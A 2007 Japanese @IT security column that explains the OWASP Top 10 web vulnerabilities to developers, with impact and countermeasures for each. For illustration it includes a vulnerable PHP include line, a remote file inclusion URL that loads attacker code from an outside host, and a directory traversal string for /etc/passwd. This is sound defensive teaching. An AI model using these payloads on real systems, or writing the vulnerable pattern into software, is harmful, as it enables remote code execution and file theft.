Webアプリケーションを作る前に知るべき10の脆弱性Security&Trust ウォッチ(47)

» 2007年06月13日 10時00分 公開
[上野宣@IT]

 Webアプリケーションが攻撃者に付け込まれる脆弱性の多くは、設計者や開発者のレベルで排除することができます。実装に忙しい方も、最近よく狙われる脆弱性のトップ10を知ることで手っ取り早く概要を知り、開発の際にその存在を意識してセキュアなWebアプリケーションにしていただければ幸いです。

Webの世界を脅かす脆弱性を順位付け

 OWASP(Open Web Application Security Project)は、主にWebアプリケーションのセキュリティ向上を目的としたコミュニティで、そこでの調査や開発の成果物を誰でも利用できるように公開しています。

 その中の「OWASP Top Ten Project」というプロジェクトでは、年に1回Webアプリケーションの脆弱性トップ10を掲載しています。2004年版は日本語を含む各国語版が提供されていますが、2007年版は現在のところ英語版のみが提供されています。

 トップ10には入っていない脆弱性もありますが、最近のWebアプリケーションが抱える問題を知るための便利な資料として活用できます。脆弱性の存在を知れば、設計や実装で防御を意識するようになることでしょう。

OWASP Top 10 2007で知るWebアプリケーション脆弱性の概要

 OWASPから発表されたトップ10を簡単に紹介していきましょう。OWASP Top 10の詳細ページには、脆弱性の概要、検証方法、防御方法、参考文献などが紹介されているので、それぞれのリンク先を参照してください。また、@ITでの関連記事リンクも併せてどうぞ。

1.クロスサイトスクリプティング(XSS)

 HTMLで表示する文字列の中に、悪意のあるJavaScriptやHTMLタグなどを混入できるというバグによって起こります。ちなみに、XSSも2位のインジェクションの欠陥の一種ですが、XSSは特別多い脆弱性だということで分けて扱っているようです。

 この脆弱性があることによって、わなにはまったユーザーのCookie情報が攻撃者の手に渡ることで、セッションを乗っ取られてしまい、アカウントを盗まれてしまう可能性があります。また、攻撃者が偽の入力フォームや文章や画像などを設置することできます。そして、正規のWebページを装って、偽の情報を流すことで、利用者の情報(個人情報やクレジットカード番号、パスワードなど)を収集することができてしまいます。

 入力値のチェック、出力エンコーディング形式の指定などの対策が有効です。また、ブラックリスト方式の対策は、すべてのパターンを網羅することが難しいということを認識しておきましょう。

【関連記事】

クロスサイトスクリプティング対策の基本

http://www.atmarkit.co.jp/fsecurity/special/30xss/xss01.html

星野君のWebアプリほのぼの改造計画(10)

マルチバイトの落とし穴

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino10/hoshino01.html


2.インジェクションの欠陥

 有名なSQLインジェクションをはじめ、OSコマンド、LDAP、XPath、XSLT、HTML、XMLなどのインジェクションがあります。悪意のあるデータを混入できることを利用することで、そのデータがコマンドやクエリとして解釈され実行されてしまうという脆弱性です。

 この脆弱性によって、攻撃者がサーバ上のデータの閲覧、作成や削除などができてしまうという問題が起こります。最悪の場合には、OSコマンドを悪用されてシステムが完全に乗っ取られてしまう可能性もある脆弱性です。

 入力値のチェック、プレイスホルダやストアドプロシージャなどの利用、データベースを最小特権で利用するなどの対策が有効です。また、PHPのaddslashes()のような効果のあいまいなエスケープ機能を使って満足しないようにしましょう。

【関連記事】

Webアプリケーションに潜むセキュリティホール(2)

顧客データがすべて盗まれる?!〜OSやデータベースへの攻撃〜

http://www.atmarkit.co.jp/fsecurity/rensai/webhole02/webhole01.html

Security&Trustウォッチ(42)

今夜分かるSQLインジェクション対策

http://www.atmarkit.co.jp/fsecurity/column/ueno/42.html


3.悪意のあるファイルを読み込んで実行

 内部や外部からファイルを読み込む機能を持っている場合、その入力されたデータのチェックが不十分なことによって、任意のファイルやコードを読み込ませることができてしまうというバグによって起こります。PHPでの典型的な脆弱コードとしては下記のようなものです。

include $_REQUEST['css'];

 攻撃者が設置したPHPコード(http://hackr.jp/attack.txt)を、上記のコード をサーバ(http://www.example.com/index.php)に対して、下記のようにリクエストを送ることで任意のPHPコードの実行が可能になります。

http://www.example.com/index.php?css=http://hackr.jp/attack.txt

 この脆弱性があることによって、リモートからあらゆるコードを実行されたり、rootkitを送り込まれてシステムを乗っ取られたり、サーバ内の任意のファイルを読まれてしまうという問題が起こります。

 開くファイルや入力できる文字列を限定したホワイトリスト方式での対策や、リモートファイルのインクルード機能を利用しない設定(PHPならallow_url_fopen=off)にしたり、ディレクトリを超えたファイル指定をできないようにしたりする対策が有効です。

4.オブジェクトの直接参照

 URLやパラメータを変えることで、本来見せるべきではないオブジェクトにアクセスすることができてしまうバグによって起こります。

 この脆弱性があることによって、“../../../../etc/passwd%00”のようなパラメータを渡して、ディレクトリをさかのぼりシステム内のファイルにアクセスする「ディレクトリトラバーサル」や、“UID=ueno”を“UID=sen”に変えると違うユーザー権限でアクセスすることができてしまうという問題が起こります。

 オブジェクトにアクセスする際に権限を検証したり、パラメータとして受け付ける値を制限するなどの対策が有効です。

【関連記事】

Webアプリケーションに潜むセキュリティホール(1)

サーバのファイルが丸見え?!

http://www.atmarkit.co.jp/fsecurity/rensai/webhole01/webhole01.html

星野君のWebアプリほのぼの改造計画(5)

Flashで作ったゲームも攻撃対象になるんです!

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino05/hoshino01.html


5.クロスサイトリクエストフォージェリ

 CSRF(Cross Site Request Forgery)は、本来拒否すべき外部のWebページからのHTTPリクエストを受け付けてしまうというバグによって起こります。

 この脆弱性があることによって、わなにはまったユーザーが外部に設置された悪意のあるWebページにアクセスすることで、Webアプリケーションの何らかの機能が実行されるという問題が起こります。攻撃者が狙うのは、ログイン認証を必要とするWebサイトが多く、データの更新や削除といった機能を実行させようとします。

 ランダムなトークンをフォームやURLに埋め込んでその整合性を確認したり、重要なデータ更新を扱う際には再度認証を行ったり、GETは使用しないといった対策が有効です。

【関連記事】

Security&Trustウォッチ(33)

「ぼくはまちちゃん」 ――知られざるCSRF攻撃

http://www.atmarkit.co.jp/fsecurity/column/ueno/33.html

星野君のWebアプリほのぼの改造計画(4)

まこと先輩と星野君とCSRFの微妙な関係

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino04/hoshino01.html


6.設定情報などの漏えい、不適切なエラーハンドリング

 データベースやアプリケーションなどが出力するエラーメッセージを利用者に表示していたり、Webアプリケーションのデバッグ用のメッセージを表示したり、認証の際に「パスワードが違います」というメッセージを表示してしまうことで、「ユーザーIDは合っている」ということを暗示してしまうといった不備を指します。

 この脆弱性があることによって、攻撃者は次の攻撃のための重要な情報を手に入れることができます。

 開発者同士でエラー処理に対するアプローチを共有したり、アプリケーションなどのエラー表示機能を無効にしたり、詳細なメッセージを表示せず簡単なメッセージを表示するだけにするといった対策が有効です。

【関連記事】

Webアプリケーションに潜むセキュリティホール(4)

エラーメッセージの危険性

http://www.atmarkit.co.jp/fsecurity/rensai/webhole04/webhole01.html

不正侵入の手口と対策(2)

攻撃者に有用な情報を与えない対策法

http://www.atmarkit.co.jp/fsecurity/rensai/iprotect02/iprotect01.html

星野君のWebアプリほのぼの改造計画(8)

メールアドレスの登録チェックが、余計なお世話に?

http://www.atmarkit.co.jp/fsecurity/rensai/hoshino08/hoshino01.html


7.不適切な認証やセッション管理

 認証機構やセッション管理、ログアウト機能、パスワード管理、秘密の質問などの設計や実装に弱点があるため、適切に認証やセッション管理が行われていないという問題によって起こります。

 この脆弱性があることによって、攻撃者はユーザーや管理者のアカウントを乗っ取ることができます。

 開発者独自のセッション管理機能を開発したりせず、広く使われているセッション管理機能を使ったり、SSLなどで暗号化されていないページからのログインはさせずCookieにsecure属性を付ける、有効なセッションかどうか確認するといった対策が有効です。

【関連記事】

Webアプリケーションに潜むセキュリティホール(3)

気を付けたい貧弱なセッション管理

http://www.atmarkit.co.jp/fsecurity/rensai/webhole03/webhole01.html

Webアプリケーションに潜むセキュリティホール(14)

Webアプリケーションの脆弱性を総括する

http://www.atmarkit.co.jp/fsecurity/rensai/webhole14/webhole05.html


8.暗号の使い方が不適切

 重要なデータを守るために暗号を用いるのは有効な方法ですが、開発者お手製の暗号アルゴリズムを使ったり、弱いアルゴリズムを採用してしまったり、鍵の管理が安全でなかったり、暗号化すらしていないという問題によって起こります。

 この脆弱性があることによって、暗号化によって安全に守られていると思い込んでいる情報が、簡単に漏えいしてしまうといった可能性があります。

 お手製のアルゴリズムやすでに脆弱性が見つかっているアルゴリズムを使わずに、一般的に使われているアルゴリズムを採用し、鍵管理を安全にするといった対策が有効です。

【関連記事】

NewsInsight

APOPにパスワード漏えいの脆弱性、IPAは「根本的な対策ない」

http://www.atmarkit.co.jp/news/200704/19/apop.html

デファクトスタンダード暗号技術の大移行(1)

すべてはここから始まった〜SHA-1の脆弱化

http://www.atmarkit.co.jp/fsecurity/rensai/crypt01/crypt01.html


9.通信方法が不適切

 認証が必要な部分の通信のすべてにSSLを使用していない、またクレジットカード番号などの重要な情報を扱う部分の通信で使用していないといった問題によって起こります。

 この脆弱性があることによって、認証情報やセッションIDなどが漏えいすることでアカウントが乗っ取られたり、重要な情報が漏えいしてしまいます。

 すべての認証が必要な部分、個人情報やクレジットカード番号などの重要な情報や値を扱う通信では、SSLを適切に使うことが有効な対策です。また、Webサーバやデータベースシステム間の通信も適切に保護するようにしましょう。

【関連記事】

SSLでセキュアなECサイト構築

http://www.atmarkit.co.jp/fsecurity/special/01ssl/ssl01.html

データベースセキュリティの基礎のキソ(6)

Oracleサーバに対する通信経路の暗号化

http://www.atmarkit.co.jp/fsecurity/rensai/dbsec06/dbsec01.html


10.URLへのアクセス制限の不備

 例えばWebサイトの管理者ページへのアクセスを、アクセス制御機能を設けず、URLを隠していることだけに頼っているといった問題によって起こります。この脆弱性があると、何らかの理由で隠していたURLが見つかってしまった場合、攻撃者は制限されることなくそのページを利用することができてしまいます。

 アクセスを制限したいすべてのページにはアクセス制御の機能を実装しましょう。ページや機能ごとにアクセス制御のマトリックスを明確にすることや、フレームワークを活用してどのページでも自動的にアクセス制御機能が働くようにするといった対策が有効です。

まずは、セキュリティを必要な機能として認識することから

 何年も前からWebアプリケーションのセキュリティの必要性については語られていますが、まだその意識は共有できていないのが実情でしょう。

 「セキュリティは追加するもの」という認識で、価格競争などでコストや納期が最優先となったとき、本体機能の実装のみが行われ、結果としてセキュリティが追加されなかったということになっているのではないでしょうか。「セキュリティ対策」という言葉が、セキュリティは後付けというイメージなのも良くないのかもしれません。

 セキュリティは追加するものではありません。あらかじめ設計時から認識し、「セキュリティも本体の一部」とすべきです。可能であれば見積もりにも織り込むことで、セキュアなWebアプリケーションの実装を心おきなく行えるようにしたいものです。

Profile

上野 宣(うえの せん)

株式会社トライコーダ代表取締役

ネットワーク・サーバー セキュリティ診断、セキュリティ対策・運用改善コンサルティングを主な業務としている。

近著に「今夜わかるメールプロトコル」、「今夜わかるTCP/IP」、「今夜わかるHTTP」(共に翔泳社)がある。個人ブログは「うさぎ文学日記


「SecurityTrust ウォッチ」バックナンバー

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。